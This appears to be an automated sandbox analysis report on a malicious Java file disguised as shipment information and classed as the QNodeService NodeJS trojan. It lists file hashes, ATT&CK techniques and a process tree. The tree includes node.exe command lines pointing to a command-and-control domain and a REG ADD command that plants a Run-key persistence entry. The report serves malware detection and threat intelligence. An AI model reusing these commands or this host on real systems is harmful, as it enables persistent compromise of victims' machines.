qnodeservice | 099fdf97c8f39179be21d4aad347f9d2778d63681e0b3c6b2709975a097423d2

General

Target

SHIPMENT INFORMATION.jar
Size

70KB
MD5

6396fabd4d43d1e5e5e129067bb436fc
SHA1

f3fb49da2badda937cac27186176fffad1ef1b4c
SHA256

099fdf97c8f39179be21d4aad347f9d2778d63681e0b3c6b2709975a097423d2
SHA512

2991d8eeab5df0a479e37b8fc60969a42b59684b81541bdddfcfdf8a353f0282769a8c8aeeb56ec03dde0929826ceedb8f81b7340546fe779b6f66bbd1fdfb62

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
692	node.exe
2312	node.exe
3220	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\cca6c751-5459-440c-8610-fa9118b2189a = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab6c-175.dat	js
behavioral2/files/0x000100000001ab6c-180.dat	js
behavioral2/files/0x000100000001ab6c-184.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
692	node.exe
692	node.exe
692	node.exe
692	node.exe
2312	node.exe
2312	node.exe
2312	node.exe
2312	node.exe
3220	node.exe
3220	node.exe
3220	node.exe
3220	node.exe
3220	node.exe
3220	node.exe
3220	node.exe
3220	node.exe
3220	node.exe
3220	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 2436	8	java.exe	75
PID 8 wrote to memory of 2436	8	java.exe	75
PID 2436 wrote to memory of 692	2436	javaw.exe	79
PID 2436 wrote to memory of 692	2436	javaw.exe	79
PID 692 wrote to memory of 2312	692	node.exe	81
PID 692 wrote to memory of 2312	692	node.exe	81
PID 2312 wrote to memory of 3220	2312	node.exe	82
PID 2312 wrote to memory of 3220	2312	node.exe	82
PID 3220 wrote to memory of 3632	3220	node.exe	84
PID 3220 wrote to memory of 3632	3220	node.exe	84
PID 3632 wrote to memory of 3388	3632	cmd.exe	85
PID 3632 wrote to memory of 3388	3632	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\SHIPMENT INFORMATION.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:8
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3d63e6ae.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain zompast.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:692
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_AVb18C\boot.js --hub-domain zompast.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2312
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_AVb18C\boot.js --hub-domain zompast.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3220
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "cca6c751-5459-440c-8610-fa9118b2189a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3632
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "cca6c751-5459-440c-8610-fa9118b2189a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3388

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/692-178-0x00000256BBB80000-0x00000256BBB81000-memory.dmp

Filesize
4KB

Download
memory/2312-181-0x000001ACD6B00000-0x000001ACD6B01000-memory.dmp

Filesize
4KB

Download
memory/3220-185-0x0000001666000000-0x0000001666001000-memory.dmp

Filesize
4KB

Download

Analysis

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